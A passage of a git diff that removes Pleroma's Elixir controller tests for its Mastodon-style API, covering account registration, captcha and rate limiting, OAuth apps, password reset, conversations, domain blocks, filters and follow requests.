assert scope == "read write follow" - - conn = - build_conn() - |> put_req_header("content-type", "multipart/form-data") - |> put_req_header("authorization", "Bearer " <> token) - |> post("/api/v1/accounts", %{ - username: "lain", - email: "lain@example.org", - password: "PlzDontHackLain", - bio: "Test Bio", - agreement: true, - reason: "I'm a cool dude, bro" - }) - - response = json_response_and_validate_schema(conn, 200) - assert %{"identifier" => "awaiting_approval"} = response - refute response["access_token"] - refute response["token_type"] - - user = Repo.get_by(User, email: "lain@example.org") - - assert user.approval_pending - assert user.registration_reason == "I'm a cool dude, bro" - end - - test "returns error when user already registred", %{conn: conn, valid_params: valid_params} do - _user = insert(:user, email: "lain@example.org") - app_token = insert(:oauth_token, user: nil) - - res = - conn - |> put_req_header("authorization", "Bearer " <> app_token.token) - |> put_req_header("content-type", "application/json") - |> post("/api/v1/accounts", valid_params) - - assert json_response_and_validate_schema(res, 400) == %{ - "error" => "{\"email\":[\"has already been taken\"]}" - } - end - - test "returns bad_request if missing required params", %{ - conn: conn, - valid_params: valid_params - } do - app_token = insert(:oauth_token, user: nil) - - conn = - conn - |> put_req_header("authorization", "Bearer " <> app_token.token) - |> put_req_header("content-type", "application/json") - - res = post(conn, "/api/v1/accounts", valid_params) - assert json_response_and_validate_schema(res, 200) - - [{127, 0, 0, 1}, {127, 0, 0, 2}, {127, 0, 0, 3}, {127, 0, 0, 4}] - |> Stream.zip(Map.delete(valid_params, :email)) - |> Enum.each(fn {ip, {attr, _}} -> - res = - conn - |> Map.put(:remote_ip, ip) - |> post("/api/v1/accounts", Map.delete(valid_params, attr)) - |> json_response_and_validate_schema(400) - - assert res == %{ - "error" => "Missing field: #{attr}.", - "errors" => [ - %{ - "message" => "Missing field: #{attr}", - "source" => %{"pointer" => "/#{attr}"}, - "title" => "Invalid value" - } - ] - } - end) - end - - test "returns bad_request if missing email params when :account_activation_required is enabled", - %{conn: conn, valid_params: valid_params} do - clear_config([:instance, :account_activation_required], true) - - app_token = insert(:oauth_token, user: nil) - - conn = - conn - |> put_req_header("authorization", "Bearer " <> app_token.token) - |> put_req_header("content-type", "application/json") - - res = - conn - |> Map.put(:remote_ip, {127, 0, 0, 5}) - |> post("/api/v1/accounts", Map.delete(valid_params, :email)) - - assert json_response_and_validate_schema(res, 400) == - %{"error" => "Missing parameter: email"} - - res = - conn - |> Map.put(:remote_ip, {127, 0, 0, 6}) - |> post("/api/v1/accounts", Map.put(valid_params, :email, "")) - - assert json_response_and_validate_schema(res, 400) == %{ - "error" => "{\"email\":[\"can't be blank\"]}" - } - end - - test "allow registration without an email", %{conn: conn, valid_params: valid_params} do - app_token = insert(:oauth_token, user: nil) - conn = put_req_header(conn, "authorization", "Bearer " <> app_token.token) - - res = - conn - |> put_req_header("content-type", "application/json") - |> Map.put(:remote_ip, {127, 0, 0, 7}) - |> post("/api/v1/accounts", Map.delete(valid_params, :email)) - - assert json_response_and_validate_schema(res, 200) - end - - test "allow registration with an empty email", %{conn: conn, valid_params: valid_params} do - app_token = insert(:oauth_token, user: nil) - conn = put_req_header(conn, "authorization", "Bearer " <> app_token.token) - - res = - conn - |> put_req_header("content-type", "application/json") - |> Map.put(:remote_ip, {127, 0, 0, 8}) - |> post("/api/v1/accounts", Map.put(valid_params, :email, "")) - - assert json_response_and_validate_schema(res, 200) - end - - test "returns forbidden if token is invalid", %{conn: conn, valid_params: valid_params} do - res = - conn - |> put_req_header("authorization", "Bearer " <> "invalid-token") - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/v1/accounts", valid_params) - - assert json_response_and_validate_schema(res, 403) == %{"error" => "Invalid credentials"} - end - - test "registration from trusted app" do - clear_config([Pleroma.Captcha, :enabled], true) - app = insert(:oauth_app, trusted: true, scopes: ["read", "write", "follow", "push"]) - - conn = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "client_credentials", - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - - assert %{"access_token" => token, "token_type" => "Bearer"} = json_response(conn, 200) - - response = - build_conn() - |> Plug.Conn.put_req_header("authorization", "Bearer " <> token) - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/v1/accounts", %{ - nickname: "nickanme", - agreement: true, - email: "email@example.com", - fullname: "Lain", - username: "Lain", - password: "some_password", - confirm: "some_password" - }) - |> json_response_and_validate_schema(200) - - assert %{ - "access_token" => access_token, - "created_at" => _, - "scope" => "read write follow push", - "token_type" => "Bearer" - } = response - - response = - build_conn() - |> Plug.Conn.put_req_header("authorization", "Bearer " <> access_token) - |> get("/api/v1/accounts/verify_credentials") - |> json_response_and_validate_schema(200) - - assert %{ - "acct" => "Lain", - "bot" => false, - "display_name" => "Lain", - "follow_requests_count" => 0, - "followers_count" => 0, - "following_count" => 0, - "locked" => false, - "note" => "", - "source" => %{ - "fields" => [], - "note" => "", - "pleroma" => %{ - "actor_type" => "Person", - "discoverable" => false, - "no_rich_text" => false, - "show_role" => true - }, - "privacy" => "public", - "sensitive" => false - }, - "statuses_count" => 0, - "username" => "Lain" - } = response - end - end - - describe "create account by app / rate limit" do - setup do: clear_config([:rate_limit, :app_account_creation], {10_000, 2}) - - test "respects rate limit setting", %{conn: conn} do - app_token = insert(:oauth_token, user: nil) - - conn = - conn - |> put_req_header("authorization", "Bearer " <> app_token.token) - |> Map.put(:remote_ip, {15, 15, 15, 15}) - |> put_req_header("content-type", "multipart/form-data") - - for i <- 1..2 do - conn = - conn - |> post("/api/v1/accounts", %{ - username: "#{i}lain", - email: "#{i}lain@example.org", - password: "PlzDontHackLain", - agreement: true - }) - - %{ - "access_token" => token, - "created_at" => _created_at, - "scope" => _scope, - "token_type" => "Bearer" - } = json_response_and_validate_schema(conn, 200) - - token_from_db = Repo.get_by(Token, token: token) - assert token_from_db - token_from_db = Repo.preload(token_from_db, :user) - assert token_from_db.user - end - - conn = - post(conn, "/api/v1/accounts", %{ - username: "6lain", - email: "6lain@example.org", - password: "PlzDontHackLain", - agreement: true - }) - - assert json_response_and_validate_schema(conn, :too_many_requests) == %{ - "error" => "Throttled" - } - end - end - - describe "create account with enabled captcha" do - setup %{conn: conn} do - app_token = insert(:oauth_token, user: nil) - - conn = - conn - |> put_req_header("authorization", "Bearer " <> app_token.token) - |> put_req_header("content-type", "multipart/form-data") - - [conn: conn] - end - - setup do: clear_config([Pleroma.Captcha, :enabled], true) - - test "creates an account and returns 200 if captcha is valid", %{conn: conn} do - %{token: token, answer_data: answer_data} = Pleroma.Captcha.new() - - params = %{ - username: "lain", - email: "lain@example.org", - password: "PlzDontHackLain", - agreement: true, - captcha_solution: Pleroma.Captcha.Mock.solution(), - captcha_token: token, - captcha_answer_data: answer_data - } - - assert %{ - "access_token" => access_token, - "created_at" => _, - "scope" => "read", - "token_type" => "Bearer" - } = - conn - |> post("/api/v1/accounts", params) - |> json_response_and_validate_schema(:ok) - - assert Token |> Repo.get_by(token: access_token) |> Repo.preload(:user) |> Map.get(:user) - - Cachex.del(:used_captcha_cache, token) - end - - test "returns 400 if any captcha field is not provided", %{conn: conn} do - captcha_fields = [:captcha_solution, :captcha_token, :captcha_answer_data] - - valid_params = %{ - username: "lain", - email: "lain@example.org", - password: "PlzDontHackLain", - agreement: true, - captcha_solution: "xx", - captcha_token: "xx", - captcha_answer_data: "xx" - } - - for field <- captcha_fields do - expected = %{ - "error" => "{\"captcha\":[\"Invalid CAPTCHA (Missing parameter: #{field})\"]}" - } - - assert expected == - conn - |> post("/api/v1/accounts", Map.delete(valid_params, field)) - |> json_response_and_validate_schema(:bad_request) - end - end - - test "returns an error if captcha is invalid", %{conn: conn} do - params = %{ - username: "lain", - email: "lain@example.org", - password: "PlzDontHackLain", - agreement: true, - captcha_solution: "cofe", - captcha_token: "cofe", - captcha_answer_data: "cofe" - } - - assert %{"error" => "{\"captcha\":[\"Invalid answer data\"]}"} == - conn - |> post("/api/v1/accounts", params) - |> json_response_and_validate_schema(:bad_request) - end - end - - describe "GET /api/v1/accounts/:id/lists - account_lists" do - test "returns lists to which the account belongs" do - %{user: user, conn: conn} = oauth_access(["read:lists"]) - other_user = insert(:user) - assert {:ok, %Pleroma.List{id: list_id} = list} = Pleroma.List.create("Test List", user) - {:ok, %{following: _following}} = Pleroma.List.follow(list, other_user) - - assert [%{"id" => list_id, "title" => "Test List"}] = - conn - |> get("/api/v1/accounts/#{other_user.id}/lists") - |> json_response_and_validate_schema(200) - end - end - - describe "verify_credentials" do - test "verify_credentials" do - %{user: user, conn: conn} = oauth_access(["read:accounts"]) - - [notification | _] = - insert_list(7, :notification, user: user, activity: insert(:note_activity)) - - Pleroma.Notification.set_read_up_to(user, notification.id) - conn = get(conn, "/api/v1/accounts/verify_credentials") - - response = json_response_and_validate_schema(conn, 200) - - assert %{"id" => id, "source" => %{"privacy" => "public"}} = response - assert response["pleroma"]["chat_token"] - assert response["pleroma"]["unread_notifications_count"] == 6 - assert id == to_string(user.id) - end - - test "verify_credentials default scope unlisted" do - user = insert(:user, default_scope: "unlisted") - %{conn: conn} = oauth_access(["read:accounts"], user: user) - - conn = get(conn, "/api/v1/accounts/verify_credentials") - - assert %{"id" => id, "source" => %{"privacy" => "unlisted"}} = - json_response_and_validate_schema(conn, 200) - - assert id == to_string(user.id) - end - - test "locked accounts" do - user = insert(:user, default_scope: "private") - %{conn: conn} = oauth_access(["read:accounts"], user: user) - - conn = get(conn, "/api/v1/accounts/verify_credentials") - - assert %{"id" => id, "source" => %{"privacy" => "private"}} = - json_response_and_validate_schema(conn, 200) - - assert id == to_string(user.id) - end - end - - describe "user relationships" do - setup do: oauth_access(["read:follows"]) - - test "returns the relationships for the current user", %{user: user, conn: conn} do - %{id: other_user_id} = other_user = insert(:user) - {:ok, _user} = User.follow(user, other_user) - - assert [%{"id" => ^other_user_id}] = - conn - |> get("/api/v1/accounts/relationships?id=#{other_user.id}") - |> json_response_and_validate_schema(200) - - assert [%{"id" => ^other_user_id}] = - conn - |> get("/api/v1/accounts/relationships?id[]=#{other_user.id}") - |> json_response_and_validate_schema(200) - end - - test "returns an empty list on a bad request", %{conn: conn} do - conn = get(conn, "/api/v1/accounts/relationships", %{}) - - assert [] = json_response_and_validate_schema(conn, 200) - end - end - - test "getting a list of mutes" do - %{user: user, conn: conn} = oauth_access(["read:mutes"]) - other_user = insert(:user) - - {:ok, _user_relationships} = User.mute(user, other_user) - - conn = get(conn, "/api/v1/mutes") - - other_user_id = to_string(other_user.id) - assert [%{"id" => ^other_user_id}] = json_response_and_validate_schema(conn, 200) - end - - test "getting a list of blocks" do - %{user: user, conn: conn} = oauth_access(["read:blocks"]) - other_user = insert(:user) - - {:ok, _user_relationship} = User.block(user, other_user) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/blocks") - - other_user_id = to_string(other_user.id) - assert [%{"id" => ^other_user_id}] = json_response_and_validate_schema(conn, 200) - end -end diff --git a/test/web/mastodon_api/controllers/app_controller_test.exs b/test/web/mastodon_api/controllers/app_controller_test.exs deleted file mode 100644 index a0b8b126c..000000000 --- a/test/web/mastodon_api/controllers/app_controller_test.exs +++ /dev/null @@ -1,60 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.AppControllerTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Repo - alias Pleroma.Web.OAuth.App - alias Pleroma.Web.Push - - import Pleroma.Factory - - test "apps/verify_credentials", %{conn: conn} do - token = insert(:oauth_token) - - conn = - conn - |> put_req_header("authorization", "Bearer #{token.token}") - |> get("/api/v1/apps/verify_credentials") - - app = Repo.preload(token, :app).app - - expected = %{ - "name" => app.client_name, - "website" => app.website, - "vapid_key" => Push.vapid_config() |> Keyword.get(:public_key) - } - - assert expected == json_response_and_validate_schema(conn, 200) - end - - test "creates an oauth app", %{conn: conn} do - user = insert(:user) - app_attrs = build(:oauth_app) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> assign(:user, user) - |> post("/api/v1/apps", %{ - client_name: app_attrs.client_name, - redirect_uris: app_attrs.redirect_uris - }) - - [app] = Repo.all(App) - - expected = %{ - "name" => app.client_name, - "website" => app.website, - "client_id" => app.client_id, - "client_secret" => app.client_secret, - "id" => app.id |> to_string(), - "redirect_uri" => app.redirect_uris, - "vapid_key" => Push.vapid_config() |> Keyword.get(:public_key) - } - - assert expected == json_response_and_validate_schema(conn, 200) - end -end diff --git a/test/web/mastodon_api/controllers/auth_controller_test.exs b/test/web/mastodon_api/controllers/auth_controller_test.exs deleted file mode 100644 index bf2438fe2..000000000 --- a/test/web/mastodon_api/controllers/auth_controller_test.exs +++ /dev/null @@ -1,159 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.AuthControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Config - alias Pleroma.Repo - alias Pleroma.Tests.ObanHelpers - - import Pleroma.Factory - import Swoosh.TestAssertions - - describe "GET /web/login" do - setup %{conn: conn} do - session_opts = [ - store: :cookie, - key: "_test", - signing_salt: "cooldude" - ] - - conn = - conn - |> Plug.Session.call(Plug.Session.init(session_opts)) - |> fetch_session() - - test_path = "/web/statuses/test" - %{conn: conn, path: test_path} - end - - test "redirects to the saved path after log in", %{conn: conn, path: path} do - app = insert(:oauth_app, client_name: "Mastodon-Local", redirect_uris: ".") - auth = insert(:oauth_authorization, app: app) - - conn = - conn - |> put_session(:return_to, path) - |> get("/web/login", %{code: auth.token}) - - assert conn.status == 302 - assert redirected_to(conn) == path - end - - test "redirects to the getting-started page when referer is not present", %{conn: conn} do - app = insert(:oauth_app, client_name: "Mastodon-Local", redirect_uris: ".") - auth = insert(:oauth_authorization, app: app) - - conn = get(conn, "/web/login", %{code: auth.token}) - - assert conn.status == 302 - assert redirected_to(conn) == "/web/getting-started" - end - end - - describe "POST /auth/password, with valid parameters" do - setup %{conn: conn} do - user = insert(:user) - conn = post(conn, "/auth/password?email=#{user.email}") - %{conn: conn, user: user} - end - - test "it returns 204", %{conn: conn} do - assert empty_json_response(conn) - end - - test "it creates a PasswordResetToken record for user", %{user: user} do - token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id) - assert token_record - end - - test "it sends an email to user", %{user: user} do - ObanHelpers.perform_all() - token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id) - - email = Pleroma.Emails.UserEmail.password_reset_email(user, token_record.token) - notify_email = Config.get([:instance, :notify_email]) - instance_name = Config.get([:instance, :name]) - - assert_email_sent( - from: {instance_name, notify_email}, - to: {user.name, user.email}, - html_body: email.html_body - ) - end - end - - describe "POST /auth/password, with nickname" do - test "it returns 204", %{conn: conn} do - user = insert(:user) - - assert conn - |> post("/auth/password?nickname=#{user.nickname}") - |> empty_json_response() - - ObanHelpers.perform_all() - token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id) - - email = Pleroma.Emails.UserEmail.password_reset_email(user, token_record.token) - notify_email = Config.get([:instance, :notify_email]) - instance_name = Config.get([:instance, :name]) - - assert_email_sent( - from: {instance_name, notify_email}, - to: {user.name, user.email}, - html_body: email.html_body - ) - end - - test "it doesn't fail when a user has no email", %{conn: conn} do - user = insert(:user, %{email: nil}) - - assert conn - |> post("/auth/password?nickname=#{user.nickname}") - |> empty_json_response() - end - end - - describe "POST /auth/password, with invalid parameters" do - setup do - user = insert(:user) - {:ok, user: user} - end - - test "it returns 204 when user is not found", %{conn: conn, user: user} do - conn = post(conn, "/auth/password?email=nonexisting_#{user.email}") - - assert empty_json_response(conn) - end - - test "it returns 204 when user is not local", %{conn: conn, user: user} do - {:ok, user} = Repo.update(Ecto.Changeset.change(user, local: false)) - conn = post(conn, "/auth/password?email=#{user.email}") - - assert empty_json_response(conn) - end - - test "it returns 204 when user is deactivated", %{conn: conn, user: user} do - {:ok, user} = Repo.update(Ecto.Changeset.change(user, deactivated: true, local: true)) - conn = post(conn, "/auth/password?email=#{user.email}") - - assert empty_json_response(conn) - end - end - - describe "DELETE /auth/sign_out" do - test "redirect to root page", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> assign(:user, user) - |> delete("/auth/sign_out") - - assert conn.status == 302 - assert redirected_to(conn) == "/" - end - end -end diff --git a/test/web/mastodon_api/controllers/conversation_controller_test.exs b/test/web/mastodon_api/controllers/conversation_controller_test.exs deleted file mode 100644 index 3e21e6bf1..000000000 --- a/test/web/mastodon_api/controllers/conversation_controller_test.exs +++ /dev/null @@ -1,209 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.ConversationControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - setup do: oauth_access(["read:statuses"]) - - describe "returns a list of conversations" do - setup(%{user: user_one, conn: conn}) do - user_two = insert(:user) - user_three = insert(:user) - - {:ok, user_two} = User.follow(user_two, user_one) - - {:ok, %{user: user_one, user_two: user_two, user_three: user_three, conn: conn}} - end - - test "returns correct conversations", %{ - user: user_one, - user_two: user_two, - user_three: user_three, - conn: conn - } do - assert User.get_cached_by_id(user_two.id).unread_conversation_count == 0 - {:ok, direct} = create_direct_message(user_one, [user_two, user_three]) - - assert User.get_cached_by_id(user_two.id).unread_conversation_count == 1 - - {:ok, _follower_only} = - CommonAPI.post(user_one, %{ - status: "Hi @#{user_two.nickname}!", - visibility: "private" - }) - - res_conn = get(conn, "/api/v1/conversations") - - assert response = json_response_and_validate_schema(res_conn, 200) - - assert [ - %{ - "id" => res_id, - "accounts" => res_accounts, - "last_status" => res_last_status, - "unread" => unread - } - ] = response - - account_ids = Enum.map(res_accounts, & &1["id"]) - assert length(res_accounts) == 2 - assert user_two.id in account_ids - assert user_three.id in account_ids - assert is_binary(res_id) - assert unread == false - assert res_last_status["id"] == direct.id - assert User.get_cached_by_id(user_one.id).unread_conversation_count == 0 - end - - test "observes limit params", %{ - user: user_one, - user_two: user_two, - user_three: user_three, - conn: conn - } do - {:ok, _} = create_direct_message(user_one, [user_two, user_three]) - {:ok, _} = create_direct_message(user_two, [user_one, user_three]) - {:ok, _} = create_direct_message(user_three, [user_two, user_one]) - - res_conn = get(conn, "/api/v1/conversations?limit=1") - - assert response = json_response_and_validate_schema(res_conn, 200) - - assert Enum.count(response) == 1 - - res_conn = get(conn, "/api/v1/conversations?limit=2") - - assert response = json_response_and_validate_schema(res_conn, 200) - - assert Enum.count(response) == 2 - end - end - - test "filters conversations by recipients", %{user: user_one, conn: conn} do - user_two = insert(:user) - user_three = insert(:user) - {:ok, direct1} = create_direct_message(user_one, [user_two]) - {:ok, _direct2} = create_direct_message(user_one, [user_three]) - {:ok, direct3} = create_direct_message(user_one, [user_two, user_three]) - {:ok, _direct4} = create_direct_message(user_two, [user_three]) - {:ok, direct5} = create_direct_message(user_two, [user_one]) - - assert [conversation1, conversation2] = - conn - |> get("/api/v1/conversations?recipients[]=#{user_two.id}") - |> json_response_and_validate_schema(200) - - assert conversation1["last_status"]["id"] == direct5.id - assert conversation2["last_status"]["id"] == direct1.id - - [conversation1] = - conn - |> get("/api/v1/conversations?recipients[]=#{user_two.id}&recipients[]=#{user_three.id}") - |> json_response_and_validate_schema(200) - - assert conversation1["last_status"]["id"] == direct3.id - end - - test "updates the last_status on reply", %{user: user_one, conn: conn} do - user_two = insert(:user) - {:ok, direct} = create_direct_message(user_one, [user_two]) - - {:ok, direct_reply} = - CommonAPI.post(user_two, %{ - status: "reply", - visibility: "direct", - in_reply_to_status_id: direct.id - }) - - [%{"last_status" => res_last_status}] = - conn - |> get("/api/v1/conversations") - |> json_response_and_validate_schema(200) - - assert res_last_status["id"] == direct_reply.id - end - - test "the user marks a conversation as read", %{user: user_one, conn: conn} do - user_two = insert(:user) - {:ok, direct} = create_direct_message(user_one, [user_two]) - - assert User.get_cached_by_id(user_one.id).unread_conversation_count == 0 - assert User.get_cached_by_id(user_two.id).unread_conversation_count == 1 - - user_two_conn = - build_conn() - |> assign(:user, user_two) - |> assign( - :token, - insert(:oauth_token, user: user_two, scopes: ["read:statuses", "write:conversations"]) - ) - - [%{"id" => direct_conversation_id, "unread" => true}] = - user_two_conn - |> get("/api/v1/conversations") - |> json_response_and_validate_schema(200) - - %{"unread" => false} = - user_two_conn - |> post("/api/v1/conversations/#{direct_conversation_id}/read") - |> json_response_and_validate_schema(200) - - assert User.get_cached_by_id(user_one.id).unread_conversation_count == 0 - assert User.get_cached_by_id(user_two.id).unread_conversation_count == 0 - - # The conversation is marked as unread on reply - {:ok, _} = - CommonAPI.post(user_two, %{ - status: "reply", - visibility: "direct", - in_reply_to_status_id: direct.id - }) - - [%{"unread" => true}] = - conn - |> get("/api/v1/conversations") - |> json_response_and_validate_schema(200) - - assert User.get_cached_by_id(user_one.id).unread_conversation_count == 1 - assert User.get_cached_by_id(user_two.id).unread_conversation_count == 0 - - # A reply doesn't increment the user's unread_conversation_count if the conversation is unread - {:ok, _} = - CommonAPI.post(user_two, %{ - status: "reply", - visibility: "direct", - in_reply_to_status_id: direct.id - }) - - assert User.get_cached_by_id(user_one.id).unread_conversation_count == 1 - assert User.get_cached_by_id(user_two.id).unread_conversation_count == 0 - end - - test "(vanilla) Mastodon frontend behaviour", %{user: user_one, conn: conn} do - user_two = insert(:user) - {:ok, direct} = create_direct_message(user_one, [user_two]) - - res_conn = get(conn, "/api/v1/statuses/#{direct.id}/context") - - assert %{"ancestors" => [], "descendants" => []} == json_response(res_conn, 200) - end - - defp create_direct_message(sender, recips) do - hellos = - recips - |> Enum.map(fn s -> "@#{s.nickname}" end) - |> Enum.join(", ") - - CommonAPI.post(sender, %{ - status: "Hi #{hellos}!", - visibility: "direct" - }) - end -end diff --git a/test/web/mastodon_api/controllers/custom_emoji_controller_test.exs b/test/web/mastodon_api/controllers/custom_emoji_controller_test.exs deleted file mode 100644 index ab0027f90..000000000 --- a/test/web/mastodon_api/controllers/custom_emoji_controller_test.exs +++ /dev/null @@ -1,23 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.CustomEmojiControllerTest do - use Pleroma.Web.ConnCase, async: true - - test "with tags", %{conn: conn} do - assert resp = - conn - |> get("/api/v1/custom_emojis") - |> json_response_and_validate_schema(200) - - assert [emoji | _body] = resp - assert Map.has_key?(emoji, "shortcode") - assert Map.has_key?(emoji, "static_url") - assert Map.has_key?(emoji, "tags") - assert is_list(emoji["tags"]) - assert Map.has_key?(emoji, "category") - assert Map.has_key?(emoji, "url") - assert Map.has_key?(emoji, "visible_in_picker") - end -end diff --git a/test/web/mastodon_api/controllers/domain_block_controller_test.exs b/test/web/mastodon_api/controllers/domain_block_controller_test.exs deleted file mode 100644 index 664654500..000000000 --- a/test/web/mastodon_api/controllers/domain_block_controller_test.exs +++ /dev/null @@ -1,79 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.DomainBlockControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.User - - import Pleroma.Factory - - test "blocking / unblocking a domain" do - %{user: user, conn: conn} = oauth_access(["write:blocks"]) - other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"}) - - ret_conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"}) - - assert %{} == json_response_and_validate_schema(ret_conn, 200) - user = User.get_cached_by_ap_id(user.ap_id) - assert User.blocks?(user, other_user) - - ret_conn = - conn - |> put_req_header("content-type", "application/json") - |> delete("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"}) - - assert %{} == json_response_and_validate_schema(ret_conn, 200) - user = User.get_cached_by_ap_id(user.ap_id) - refute User.blocks?(user, other_user) - end - - test "blocking a domain via query params" do - %{user: user, conn: conn} = oauth_access(["write:blocks"]) - other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"}) - - ret_conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/domain_blocks?domain=dogwhistle.zone") - - assert %{} == json_response_and_validate_schema(ret_conn, 200) - user = User.get_cached_by_ap_id(user.ap_id) - assert User.blocks?(user, other_user) - end - - test "unblocking a domain via query params" do - %{user: user, conn: conn} = oauth_access(["write:blocks"]) - other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"}) - - User.block_domain(user, "dogwhistle.zone") - user = refresh_record(user) - assert User.blocks?(user, other_user) - - ret_conn = - conn - |> put_req_header("content-type", "application/json") - |> delete("/api/v1/domain_blocks?domain=dogwhistle.zone") - - assert %{} == json_response_and_validate_schema(ret_conn, 200) - user = User.get_cached_by_ap_id(user.ap_id) - refute User.blocks?(user, other_user) - end - - test "getting a list of domain blocks" do - %{user: user, conn: conn} = oauth_access(["read:blocks"]) - - {:ok, user} = User.block_domain(user, "bad.site") - {:ok, user} = User.block_domain(user, "even.worse.site") - - assert ["even.worse.site", "bad.site"] == - conn - |> assign(:user, user) - |> get("/api/v1/domain_blocks") - |> json_response_and_validate_schema(200) - end -end diff --git a/test/web/mastodon_api/controllers/filter_controller_test.exs b/test/web/mastodon_api/controllers/filter_controller_test.exs deleted file mode 100644 index 0d426ec34..000000000 --- a/test/web/mastodon_api/controllers/filter_controller_test.exs +++ /dev/null @@ -1,152 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.FilterControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Web.MastodonAPI.FilterView - - test "creating a filter" do - %{conn: conn} = oauth_access(["write:filters"]) - - filter = %Pleroma.Filter{ - phrase: "knights", - context: ["home"] - } - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/filters", %{"phrase" => filter.phrase, context: filter.context}) - - assert response = json_response_and_validate_schema(conn, 200) - assert response["phrase"] == filter.phrase - assert response["context"] == filter.context - assert response["irreversible"] == false - assert response["id"] != nil - assert response["id"] != "" - end - - test "fetching a list of filters" do - %{user: user, conn: conn} = oauth_access(["read:filters"]) - - query_one = %Pleroma.Filter{ - user_id: user.id, - filter_id: 1, - phrase: "knights", - context: ["home"] - } - - query_two = %Pleroma.Filter{ - user_id: user.id, - filter_id: 2, - phrase: "who", - context: ["home"] - } - - {:ok, filter_one} = Pleroma.Filter.create(query_one) - {:ok, filter_two} = Pleroma.Filter.create(query_two) - - response = - conn - |> get("/api/v1/filters") - |> json_response_and_validate_schema(200) - - assert response == - render_json( - FilterView, - "index.json", - filters: [filter_two, filter_one] - ) - end - - test "get a filter" do - %{user: user, conn: conn} = oauth_access(["read:filters"]) - - # check whole_word false - query = %Pleroma.Filter{ - user_id: user.id, - filter_id: 2, - phrase: "knight", - context: ["home"], - whole_word: false - } - - {:ok, filter} = Pleroma.Filter.create(query) - - conn = get(conn, "/api/v1/filters/#{filter.filter_id}") - - assert response = json_response_and_validate_schema(conn, 200) - assert response["whole_word"] == false - - # check whole_word true - %{user: user, conn: conn} = oauth_access(["read:filters"]) - - query = %Pleroma.Filter{ - user_id: user.id, - filter_id: 3, - phrase: "knight", - context: ["home"], - whole_word: true - } - - {:ok, filter} = Pleroma.Filter.create(query) - - conn = get(conn, "/api/v1/filters/#{filter.filter_id}") - - assert response = json_response_and_validate_schema(conn, 200) - assert response["whole_word"] == true - end - - test "update a filter" do - %{user: user, conn: conn} = oauth_access(["write:filters"]) - - query = %Pleroma.Filter{ - user_id: user.id, - filter_id: 2, - phrase: "knight", - context: ["home"], - hide: true, - whole_word: true - } - - {:ok, _filter} = Pleroma.Filter.create(query) - - new = %Pleroma.Filter{ - phrase: "nii", - context: ["home"] - } - - conn = - conn - |> put_req_header("content-type", "application/json") - |> put("/api/v1/filters/#{query.filter_id}", %{ - phrase: new.phrase, - context: new.context - }) - - assert response = json_response_and_validate_schema(conn, 200) - assert response["phrase"] == new.phrase - assert response["context"] == new.context - assert response["irreversible"] == true - assert response["whole_word"] == true - end - - test "delete a filter" do - %{user: user, conn: conn} = oauth_access(["write:filters"]) - - query = %Pleroma.Filter{ - user_id: user.id, - filter_id: 2, - phrase: "knight", - context: ["home"] - } - - {:ok, filter} = Pleroma.Filter.create(query) - - conn = delete(conn, "/api/v1/filters/#{filter.filter_id}") - - assert json_response_and_validate_schema(conn, 200) == %{} - end -end diff --git a/test/web/mastodon_api/controllers/follow_request_controller_test.exs b/test/web/mastodon_api/controllers/follow_request_controller_test.exs deleted file mode 100644 index 6749e0e83..000000000 --- a/test/web/mastodon_api/controllers/follow_request_controller_test.exs +++ /dev/null @@ -1,74 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.FollowRequestControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "locked accounts" do - setup do - user = insert(:user, locked: true) - %{conn: conn} = oauth_access(["follow"], user: user) - %{user: user, conn: conn} - end - - test "/api/v1/follow_requests works", %{user: user, conn: conn} do - other_user = insert(:user) - - {:ok, _, _, _activity} = CommonAPI.follow(other_user, user) - {:ok, other_user} = User.follow(other_user, user, :follow_pending) - - assert 